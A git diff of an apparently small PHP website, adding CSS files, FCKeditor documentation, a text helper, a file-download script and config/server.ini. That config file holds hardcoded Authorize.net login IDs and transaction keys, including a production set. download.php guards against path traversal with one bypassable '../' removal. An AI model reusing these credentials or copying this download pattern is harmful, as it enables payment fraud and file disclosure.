+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @param unknown $str      Parameter description (if any) ...
+     * @param mixed   $limit    Parameter description (if any) ...
+     * @param string  $end_char Parameter description (if any) ...
+     * 
+     * @return mixed   Return description (if any) ...
+     * @access public 
+     */
+    function word_limiter($str, $limit = 100, $end_char = '&#8230;')
+    {
+        if (trim($str) == '') {
+            return $str;
+        }
+       
+        preg_match('/\s*(?:\S*\s*) {'. (int) $limit .'}/', $str, $matches);
+
+        if (strlen($matches[0]) == strlen($str)) {
+            $end_char = '';
+        }
+        return rtrim($matches[0]) . $end_char;
+    }// }}}
+}
+?>
diff --git a/config/server.ini b/config/server.ini
new file mode 100644 (file)
index 0000000..5b67d4b
--- /dev/null
@@ -0,0 +1,19 @@
+; production site configuration data
+[production]
+auth_net.login = "gaslight70"
+auth_net.tran_key = "6i0fP0zXmEp2mKm0"
+auth_net.url = "https://secure.authorize.net/gateway/transact.dll"
+auth_net.test = Off
+auth_net.duplicate_window = 120
+auth_net.email_customer = Off
+
+; development site configuration data inherits from production and
+; overrides values as necessary
+[development : production]
+
+[kanga : development]
+auth_net.login = "45x6CQzY95K9"
+auth_net.tran_key = "9h9breDw7B9N54Q7"
+auth_net.url = "https://test.authorize.net/gateway/transact.dll"
+auth_net.test = On
+auth_net.duplicate_window = 0
diff --git a/contactform.css b/contactform.css
new file mode 100644 (file)
index 0000000..ce2f47f
--- /dev/null
@@ -0,0 +1,92 @@
+#contact {margin: 10px;}
+.req {color: #f00;}
+/* Main table */
+#contact table { 
+       background-color: #fff;
+       border: 1px solid #eee;
+       border-collapse: collapse;
+       }
+/* Any Table inside the form */        
+#contact table table {
+       width: 100%;
+       margin-left: 0;
+       border: 0px solid #ddd;
+       }
+#contact table table td        {       border: 0px solid #ddd;}
+       
+/* TD's */     
+#contact td { 
+       padding: 3px;
+       font-family: arial, helvetica, sans-serif;
+       color: #000;
+       border: 1px solid #eee;
+       border-collapse: collapse;
+       }
+.hdr td {
+       font-weight: bold;
+}
+/* Left Cells */
+.labelcell { 
+       background-color: transparent; 
+       text-align: right;
+       padding-right: 10px;
+       padding-top: 3px;
+       white-space:nowrap;
+       width: 140px;
+       } 
+/*Right Cells */
+.fieldcell {
+       padding-left: 4px;
+       width: 250px;
+       } 
+
+/* Misc */
+textarea {width: 95%; height: 100px; display:block;}
+
+/* WARNINGS */
+#form-warning-top {
+       margin-top: 1em;
+       margin-bottom: 0.5em;
+       color: #f00;
+       font-size: 14px;
+       font-weight: bold;
+       }
+/* SHow hide instruction div */
+#contact table tr td .form-warning-inside {display: none;}
+#contact table tr.req td .form-warning-inside {
+       display: block;
+       background-image: url('images/error.gif');
+       background-repeat:no-repeat;
+       background-position: top left;
+       padding: 2px 2px 2px 22px;}
+
+/* Showing/hiding rows */
+/*invisible*/
+#contact table tr td.instructioncell {
+       width: 200px;
+       white-space: nowrap;
+       color: #fff;
+       }
+       
+/*visible*/
+#contact table tr.req {
+       border: 2px solid #f00;
+       background-color:#FCD6D4;
+       border-collapse: separate;
+       border-collapse: collapse;
+}
+/*color*/
+#contact table tr.req td {background-color: #fcd6d4;}
+#contact table tr.req td.labelcell                             {background-color:#FCD6D4;}
+#contact table tr.req td.fieldcell                             {background-color:#FCD6D4;}
+#contact table tr.req td.instructioncell       {background-color:#FCD6D4;}     
+#contact table tr.req td.instructioncell {
+       padding: 4px;
+       padding-left: 20px;
+       background-image: url('images/error.gif');
+       background-repeat:no-repeat;
+       background-position: center left;
+       border-width: 0;
+       color: #000;
+       }
+
diff --git a/coupons.css b/coupons.css
new file mode 100644 (file)
index 0000000..2d368ba
--- /dev/null
@@ -0,0 +1,80 @@
+#coupons {margin-left: 12px;}
+
+.couponheader {
+       border-bottom: 2px solid #B5B292;
+       font-size: 16px;
+       color: #369;
+       font-weight: bold;
+  margin-top: 1em;
+       }
+.couponblock {
+       background-color: #fff;
+       border: 1px dashed #B5B292;
+       font-weight:normal;
+       color: #369;
+       margin: 5px;
+       font-size: 12px;
+       text-align: center;
+       height: 1%;
+       overflow: hidden;
+       float: left;
+       position: relative;
+       width: 256px;
+       }
+.couponblock strong {
+       display: block;
+       font-size: 16px;
+       display: block;
+       margin: 12px auto;
+       }       
+.couponblock a {display: block; font-size: 12px;}      
+.couponblock img {
+
+       margin: 0 auto;
+       display: block;
+       }
+.couponcontainer {
+       text-align: left;
+       height: 1%;
+       overflow: hidden;
+       }
+.couponblock .couponlogo {
+       margin-top: 10px;
+       }       
+.couponcontainer h2 {
+       font-size: 16px; color: black;
+       clear: left;
+       }
+.couponcatheader {font-size: 16px; color: #369; font-weight: bold;}
+.couponcontainer p {
+       margin: 0.5em 22px !important;
+       text-align: left;
+       }
+.expire_date {
+       float: right;
+       margin: 12px;
+       }
+.coupon-url {
+       float: left;
+       margin: 12px;
+       }
+       
+.newBackground {
+background-color: #B5B292; color: #fff; font-weight: bold; padding: 5px; font-size: 13px; text-align: left;
+}
+.oldBackground {
+background-color: #E7E7D5; color: #3D1006; font-weight: bold; padding: 5px; font-size: 13px; text-align: left;
+}
+.changeParent {display: block;}
+
+.coupon-buttons {
+       text-align: center;
+       padding: 6px;
+       position: relative;
+       clear: left;
+       margin-top: 12px;
+       }
+.coupon-buttons input { padding: auto 12px;}   
+.couponDivider {
+       clear: left;
+  }
\ No newline at end of file
diff --git a/download.php b/download.php
new file mode 100644 (file)
index 0000000..05ce02b
--- /dev/null
@@ -0,0 +1,30 @@
+<?php
+include('setup.phtml');
+$file = filter_var($_REQUEST['file'], FILTER_SANITIZE_STRING);
+if (!$file) {
+    exit;
+}
+$file = preg_replace('%\.\./%', '', $file);
+if (!file_exists(BASE.'uploads/'.$file)) {
+    exit;
+}
+$output = BASE.'uploads/'.$file;
+if(ini_get('zlib.output_compression'))
+{
+       ini_set('zlib.output_compression', 'Off');
+}
+header("Content-Type: application/force-download\n");
+/* Correction for the stupid MSIE thing */
+if(strstr(getenv('HTTP_USER_AGENT'), 'MSIE'))
+{
+       header("Content-Disposition: inline; filename=\"$file\"");
+}
+else 
+{
+       header("Content-Disposition: attachment; filename=\"$file\"");
+}
+$fn=fopen($output , "r");
+fpassthru($fn);
+@fclose($fn);
+exit();
+?>
diff --git a/email.css b/email.css
new file mode 100644 (file)
index 0000000..70d0ad3
--- /dev/null
+++ b/email.css
@@ -0,0 +1,42 @@
+body {
+       background-color: #ff;
+       color: black;
+       font-family: verdana, arial, helvetica, sans-serif;
+}
+h1, h2 {
+       font-family: arial, helvetica, sans-serif;
+}
+h1 {
+       font-size: 18px;
+}
+h2 {
+       font-size: 16px;
+       margin-bottom: 5px;
+}
+p {
+       font-size: 12px;
+}
+.label {
+       font-weight: bold;
+       background-color: transparent;
+       text-align: right;
+       width: 200px;
+       padding: 5px;
+}
+.field {
+       background-color: #fff;
+       padding: 3px;
+}
+table.data {
+       background-color: #fff;
+       color: #000;
+       width: 500px;
+       border: 1px solid #ccc;
+       border-collapse: collapse;
+       margin-left: 20px;
+}
+table.data td {
+       border: 1px solid #ccc;
+       padding-left: 4px;
+       font-size: 12px;
+}
diff --git a/event.css b/event.css
new file mode 100644 (file)
index 0000000..3c02c39
--- /dev/null
+++ b/event.css
@@ -0,0 +1,211 @@
+#events {
+       margin: 0px;
+       clear: both;
+       margin-top: 12px;}
+/* event calendar styles*/
+table.caltable {
+       font-family: Arial, Helvetica, sans-serif;
+       color: #003266;
+       font-size: 10px;
+       border:solid #67A5CF 1px;
+       border-collapse: collapse;
+       margin-top: 10px;
+       clear: both;
+       }
+table.caltablesmall {
+       float: left;
+       font-family: tahoma, arial, sans-serif;
+       color: #888;
+       border:solid #67A5CF 1px;
+       margin:0 0 0 5px;
+       border-collapse: collapse;
+       width: 120px;
+       }
+table.caltable td {border:solid #67A5CF 1px;}  
+table.caltablesmall td {border:solid #67A5CF 1px;border-collapse: collapse;}   
+td.caltitle {
+       text-align:center;
+       font-weight:bold;
+       background-color: #67A5CF;
+       color: white;
+       }
+td.caltitle a {color:white;margin:0;padding:0; text-transform: uppercase;}
+td.calmonth {
+       text-align:center;
+       font-weight:bold;
+       background-color: #67A5CF;
+       color: white;
+       font-size: 14px;
+       text-transform: uppercase;}     
+td.calmonthsmall {
+       text-align:center;
+       font-weight:bold;
+       background-color: #67A5CF;
+       color: white;
+       font-size: 9px;
+       text-transform: uppercase;}     
+td.calspacer { background-color:#eee;
+       font-size: 4px;}
+td.calspacersmall {
+       background-color:#eee;
+       font-size: 4px;
+}
+td.caldayheader{
+       text-align:center;
+       height:auto;
+       background-color: #e8dcc2;
+       color:#000;
+       width: 68px;
+       width: auto;
+       }
+td.caldayheadersmall{
+       text-align:center;
+       height:auto;
+       background-color: #e8dcc2;
+       color:#000;
+       width: 5px;
+       width: auto;
+       font-size: 10px;
+       }
+
+td.calday {
+       text-align:left;
+       width: 14%;
+       font-size: 11px;
+       font-family: tahoma, arial, sans-serif;}
+td.caldaysmall {
+       font-family: tahoma, arial, sans-serif;
+       font-size: 9px;
+       text-align:center;
+       padding: 2px;
+       }
+/* td.calday a { display: block; margin-top: 0.5em; }*/
+td.calday a:link { color: #000; }
+td.calday a:visited { color: #333; }
+td.calday a:active { color: #000; }
+td.calday a:hover { color: #555;  }
+
+td.caldaysmall a { }
+td.caldaysmall a:link { color: #000; }
+td.caldaysmall a:visited { color: #222; }
+td.caldaysmall a:active { color: #000; }
+td.caldaysmall a:hover { color: #000; }
+
+td.calmonthsmall a { font-weight:bold; margin:0;padding:0; color:white;}
+
+img.calleftarrow { float:left;}
+img.calrightarrow { float: right;}
+
+/* FLAT VIEW */
+.eventcontainer {
+       clear: both;
+       margin-top: 1em;
+       font-size: 12px;
+       padding-bottom: 1em;
+       margin-bottom: 1em;
+       }
+.event-list {
+       margin-top: 2em;
+       }
+       
+.eventimg1 {
+       float: right;
+       border: 0px solid #8094C0;
+       margin: 0 10px 10px 10px;
+       }
+.eventimg2 {
+       float: left;
+       border: 0px solid #8094C0;
+       margin: 0 10px 10px 10px;
+       }
+.eventimg3 {
+       float: right;
+       border: 0px solid #8094C0;
+       margin: 0 10px 10px 10px;
+       }               
+.eventheader {
+       font-size: 18px;
+       font-weight: bold;
+       color: #219BAF;
+       padding-top: 1em;
+       }
+.eventdate {font-weight: bold;  color: #000;}
+
+.eventcontact {font-weight: bold;  color: #44609D}
+.eventvalue a:link, .eventvalue a:visited, .eventvalue a:hover, .eventvalue a:active { font-weight: bold; text-decoration: underline;}
+.eventvalue a:link {color: #13246C;}
+.eventvalue a:visited {color: #13246C;}
+.eventvalue a:active {color: #13246C;}
+.eventvalue a:hover {color: #000;}
+
+.eventdescr {margin: 0.5em 0;}
+#smallcals {border: 0px solid red; float: right;}
+
+
+/* customized */
+.topic a {display: block; padding: 3px;}
+.topic div {border-top: 1px solid #aaa;} 
+
+
+/* SELECT TOPICS */
+#topicsearch {margin: 0 0 10px 0; display:block;float:left; background: #eee; padding: 1px; border: 1px dotted #ddd;}
+#topicsearch .topicsearchrow {clear: left;}
+#topicsearch .topicsearchheader {width:12px;height:12px; float:left; position: relative;  border: 1px solid #666; margin-bottom: 1px; margin-right: 4px; font-size: 1px;}
+#topicsearch a  {display: block;  position: relative; font-size: 10px;}
+#topicsearch a:link  {color: #000;}
+#topicsearch a:visited  {color: #333;}
+#topicsearch a:active  {color: #000;}
+#topicsearch a:hover  {color: #666;}
+
+
+/* --- */
+
+#monthsearch { display:block;  padding-bottom: 1em; clear: both;}
+#monthsearch form {display:block;float:left;font-size: 12px;clear: both;}
+#monthsearch select, #monthsearch input   {font-size: 12px; margin-right: 5px;}
+#monthsearch a {margin-left: 18px;}
+#monthsearch a:link {color: #000;}
+#monthsearch a:visited {color: #000;}
+#monthsearch a:hover {color: #00387B;}
+#monthsearch a:active {color: #000;}
+
+
+
+.color1 {background-color: #FFCCCC;}
+.color2 {background-color: #CC9999;}
+.color3 {background-color: #FF9999;}
+.color4 {background-color: #FFCCFF;}
+.color5 {background-color: #CC99CC;}
+
+.color6 {background-color: #FF99FF;}
+.color7 {background-color: #CCCCFF;}
+.color8 {background-color: #9999CC;}
+.color9 {background-color: #9999FF;}
+.color10 {background-color: #CCFFFF;}
+
+.color11 {background-color: #99CCCC;}
+.color12 {background-color: #99FFFF;}
+.color13 {background-color: #CCFFCC;}
+.color14 {background-color: #99CC99;}
+.color15 {background-color: #99FF99;}
+
+.color16 {background-color: #FFFFCC;}
+.color17 {background-color: #CCCC99;}
+.color18 {background-color: #FFFF99;}
+.color19 {background-color: #FFCC99;}
+.color20 {background-color: #FF99CC;}
+
+.color21 {background-color: #CC99FF;}
+.color22 {background-color: #99CCFF;}
+.color23 {background-color: #99FFCC;}
+.color24 {background-color: #CCFF99;}
+.color25 {background-color: #CCCCCC;}
+
+
+/* advacned search result*/
+#searching {padding: 3px; border: 1px dotted grey; background: #eee;}
+/* advacned search result*/
+#searching h4 {margin: 0;}
+
+
+       
\ No newline at end of file
diff --git a/fckeditor/_documentation.html b/fckeditor/_documentation.html
new file mode 100755 (executable)
index 0000000..afac487
--- /dev/null
@@ -0,0 +1,38 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * --- BEGIN LICENSE ---
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * --- END LICENSE ---
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - Documentation</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <style type="text/css">
+               body { font-family: arial, verdana, sans-serif }
+               p { margin-left: 20px }
+       </style>
+</head>
+<body>
+       <h1>
+               FCKeditor Documentation</h1>
+       <p>
+               You can find the official documentation for FCKeditor online, at <a href="http://wiki.fckeditor.net/">
+                       http://wiki.fckeditor.net/</a>.</p>
+</body>
+</html>
diff --git a/fckeditor/_upgrade.html b/fckeditor/_upgrade.html
new file mode 100755 (executable)
index 0000000..1af55d5
--- /dev/null
@@ -0,0 +1,38 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * --- BEGIN LICENSE ---
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * --- END LICENSE ---
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - Upgrade</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <style type="text/css">
+               body { font-family: arial, verdana, sans-serif }
+               p { margin-left: 20px }
+       </style>
+</head>
+<body>
+       <h1>
+               FCKeditor Upgrade</h1>
+       <p>
+               Please check the following URL for notes regarding upgrade: <a href="http://wiki.fckeditor.net/Developer%27s_Guide/Upgrade">
+                       http://wiki.fckeditor.net/Developer%27s_Guide/Upgrade</a></p>
+</body>
+</html>
diff --git a/fckeditor/_whatsnew.html b/fckeditor/_whatsnew.html
new file mode 100755 (executable)
index 0000000..1c02358
--- /dev/null
@@ -0,0 +1,2572 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * --- BEGIN LICENSE ---
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * --- END LICENSE ---
+-->
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+       <title>FCKeditor - What's New?</title>
+       <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+       <style type="text/css">
+               body { font-family: arial, verdana, sans-serif }
+               p { margin-left: 20px }
+       </style>
+</head>
+<body>
+       <h3>
+               Version 2.4</h3>
+       <p>
+               New Features and Improvements:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1329273&group_id=75348&atid=543656">SF
+                       Feature-1329273</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1456005&group_id=75348&atid=543656">SF
+                               Feature-1456005</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1315002&group_id=75348&atid=543653">SF
+                                       BUG-1315002</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1350180&group_id=75348&atid=543653">SF
+                                               BUG-1350180</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1450689&group_id=75348&atid=543653">SF
+                                                       BUG-1450689</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1461033&group_id=75348&atid=543653">SF
+                                                               BUG-1461033</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1510111&group_id=75348&atid=543653">SF
+                                                                       BUG-1510111</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1203560&group_id=75348&atid=543653">SF
+                                                                               BUG-1203560</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1564838&group_id=75348&atid=543653">SF
+                                                                                       BUG-1564838</a>] The advance <strong>Enter Key Handler</strong>
+                       is now being introduced. It gives you complete freedom to configure the editor to
+                       generate <strong>&lt;p&gt;, &lt;div&gt; or &lt;br&gt;</strong> when the user uses
+                       both the [Enter] and [Shift]+[Enter] keys. The new "EnterMode" and "ShiftEnterMode"
+                       settings can be use to control its behavior. It also guarantees that all browsers
+                       will generate the same output. </li>
+               <li>The new and powerful <strong>Keyboard Accelerator System</strong> is being introduced.
+                       You can now precisely control the commands to execute when some key combinations
+                       are activated by the user. It guarantees that all browsers will have the same behavior
+                       regarding the shortcuts.<br />
+                       It also makes it possible to remove buttons from the toolbar and still invoke their
+                       features by using the keyboard instead.
+                       <br />
+                       It also blocks all default "CTRL based shortcuts" imposed by the browsers, so if
+                       you don't want users to underline text, just remove the CTRL+U combination from
+                       the keystrokes table. Take a look at the FCKConfig.Keystrokes setting in the fckconfig.js
+                       file. </li>
+               <li>The new "<strong>ProtectedTags</strong>" configuration option is being introduced.
+                       It will accept a list of tags (separated by a pipe "|"), which will have no effect
+                       during editing, but will still be part of the document DOM. This can be used mainly
+                       for non HTML standard, custom tags.</li>
+               <li>Dialog box commands can now open resizable dialogs (by setting oCommand.Resizable
+                       = true).</li>
+               <li>Updated support for AFP. Thanks to Soenke Freitag.</li>
+               <li>New language file:<ul>
+                       <li><strong>Afrikaans</strong> (by Willem Petrus Botha). </li>
+               </ul>
+               </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1456343&group_id=75348&atid=543655">SF
+                       Patch-1456343</a>] New sample file showing how to dynamically exchange a textarea
+                       and an instance of FCKeditor. Thanks to Finn Hakansson</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1496115&group_id=75348&atid=543655">SF
+                       Patch-1496115</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1588578&group_id=75348&atid=543653">SF
+                               BUG-1588578</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1376534&group_id=75348&atid=543653">SF
+                                       BUG-1376534</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1343506&group_id=75348&atid=543653">SF
+                                               BUG-1343506</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1211065&group_id=75348&atid=543656">SF
+                                                       Feature-1211065</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=949144&group_id=75348&atid=543656">SF
+                                                               Feature-949144</a>] The content of anchors are shown and preserved
+                       on creation. * </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1587175&group_id=75348&atid=543656">SF
+                       Feature-1587175</a>] Local links to an anchor are readjusted if the anchor changes.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1500040&group_id=75348&atid=543655">SF
+                       Patch-1500040</a>] New configuration values to specify the Id and Class for the
+                       body element.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1577202&group_id=75348&atid=543655">SF
+                       Patch-1577202</a>] The links created with the popup option now are accessible even
+                       if the user has JavaScript disabled.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1443472&group_id=75348&atid=543655">SF
+                       Patch-1443472</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1576488&group_id=75348&atid=543653">SF
+                               BUG-1576488</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1334305&group_id=75348&atid=543653">SF
+                                       BUG-1334305</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1578312&group_id=75348&atid=543653">SF
+                                               BUG-1578312</a>] The Paste from Word clean up function can be configured
+                       with FCKConfig.CleanWordKeepsStructure to preserve the markup as much as possible.
+                       Thanks Jean-Charles ROGEZ. </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1472654&group_id=75348&atid=543655">SF
+                       Patch-1472654</a>] The server side script location for SpellerPages can now be set
+                       in the configuration file, by using the SpellerPagesServerScript setting.</li>
+               <li><span style="color: #ff0000">Attention:</span> All connectors are now pointing by
+                       default to the "/userfiles/" folder instead of "/UserFiles/" (case change). Also,
+                       the inner folders for each type (file, image, flash and media) are all lower-cased
+                       too.</li><li><span style="color: #ff0000">Attention:</span> The UseBROnCarriageReturn configuration
+                       is not anymore valid. The EnterMode setting can now be used to precisely set the
+                       enter key behavior.</li>
+       </ul>
+       <p>
+               Fixed Bugs:</p>
+       <ul>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1444937&group_id=75348">SF
+                       BUG-1444937</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1274364&group_id=75348">SF
+                               BUG-1274364</a>] Shortcut keys are now undoable correctly.</li><li>[<a target="_blank"
+                                       href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1015230&group_id=75348">SF
+                                       BUG-1015230</a>] Toolbar buttons now update their state on shortcut keys activation.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1485621&group_id=75348">SF
+                       BUG-1485621</a>] It is now possible to precisely control which shortcut keys can
+                       be used.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1573714&group_id=75348">SF
+                       BUG-1573714</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1593323&group_id=75348">SF
+                               BUG-1593323</a>] Paste was not working in IE if both AutoDetectPasteFromWord
+                       and ForcePasteAsPlainText settings were set to "false". </li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1578306&group_id=75348">SF
+                       BUG-1578306</a>] The context menu was wrongly positioned if the editing document
+                       was set to render in strict mode. Thanks to Alfonso Martinez.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1567060&group_id=75348">SF
+                       BUG-1567060</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1565902&group_id=75348">SF
+                               BUG-1565902</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1440631&group_id=75348">SF
+                                       BUG-1440631</a>] IE was getting locked on some specific cases. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1582859&group_id=75348">SF
+                       BUG-1582859</a>] [<a target="_blank" href="http://sourceforge.net/tracker/index.php?func=detail&aid=1579507&group_id=75348&atid=543655">SF
+                               Patch-1579507</a>] Firefox' spellchecker is now disabled during editing mode.
+                       Thanks to Alfonso Martinez.</li>
+               <li>Fixed Safari and Opera detection system (for development purposes only).</li>
+               <li>Paste from Notepad was including font information in IE. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1584092&group_id=75348">SF
+                       BUG-1584092</a>] When replacing text area, names with spaces are now accepted.</li>
+               <li>Depending on the implementation of toolbar combos (mainly for custom plugins) the
+                       editor area was loosing the focus when clicking in the combo label. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1596937&group_id=75348&atid=543653">SF
+                       BUG-1596937</a>] InsertHtml() was inserting the HTML outside the editor area on
+                       some very specific cases.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1585548&group_id=75348">SF
+                       BUG-1585548</a>] On very specific, rare and strange cases, the XHTML processor was
+                       not working properly in IE. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1584951&group_id=75348">SF
+                       BUG-1584951</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1380598&group_id=75348">SF
+                               BUG-1380598</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1198139&group_id=75348">SF
+                                       BUG-1198139</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1437318&group_id=75348">SF
+                                               BUG-1437318</a>] In Firefox, the style selector will not anymore delete
+                       the contents when removing styles on specific cases.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1515441&group_id=75348">SF
+                       BUG-1515441</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1451071&group_id=75348">SF
+                               BUG-1451071</a>] The "Insert/Edit Link" and "Select All" buttons are now working
+                       properly when the editor is running on a IE Modal dialog.</li>
+               <li>On some very rare cases, IE was throwing a memory error when hiding the context
+                       menus. Fixed.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1526154&group_id=75348">SF
+                       BUG-1526154</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1509208&group_id=75348&atid=543653">SF
+                               BUG-1509208</a>] With Firefox, &lt;style&gt; tags defined in the source are
+                       now preserved.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1535946&group_id=75348">SF
+                       BUG-1535946</a>] The IE dialog system has been changed to better work with custom
+                       dialogs.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1599520&group_id=75348">SF
+                       BUG-1599520</a>] The table dialog was producing empty tags when leaving some of
+                       its fields empty.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1599545&group_id=75348">SF
+                       BUG-1599545</a>] HTML entities are now processed on attribute values too.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1598517&group_id=75348">SF
+                       BUG-1598517</a>] Meta tags are now protected from execution during editing (avoiding
+                       the "redirect" meta to be activated).</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1415601&group_id=75348">SF
+                       BUG-1415601</a>] Firefox internals: styleWithCSS is used instead of the deprecated
+                       useCSS whenever possible.</li>
+               <li>All JavaScript Core extension function have been renamed to "PascalCase" (some were
+                       in "camelCase"). This may have impact on plugins that use any of those functions.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1592311&group_id=75348">SF
+                       BUG-1592311</a>] Operations in the caption of tables are now working correctly in
+                       both browsers.</li>
+               <li>Small interface fixes to the about box.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1604576&group_id=75348&atid=543655">SF
+                       PATCH-1604576</a>] [<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1604301&group_id=75348">SF
+                               BUG-1604301</a>] Link creation failed in Firefox 3 alpha. Thanks to Arpad Borsos</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&aid=1577247&group_id=75348&atid=543653">SF
+                       BUG-1577247</a>] Unneeded call to captureEvents and releaseEvents.</li>
+               <li>[<a target="_blank" href="https://sourceforge.net/tracker/?func=detail&atid=543653&aid=1610790&group_id=75348">SF
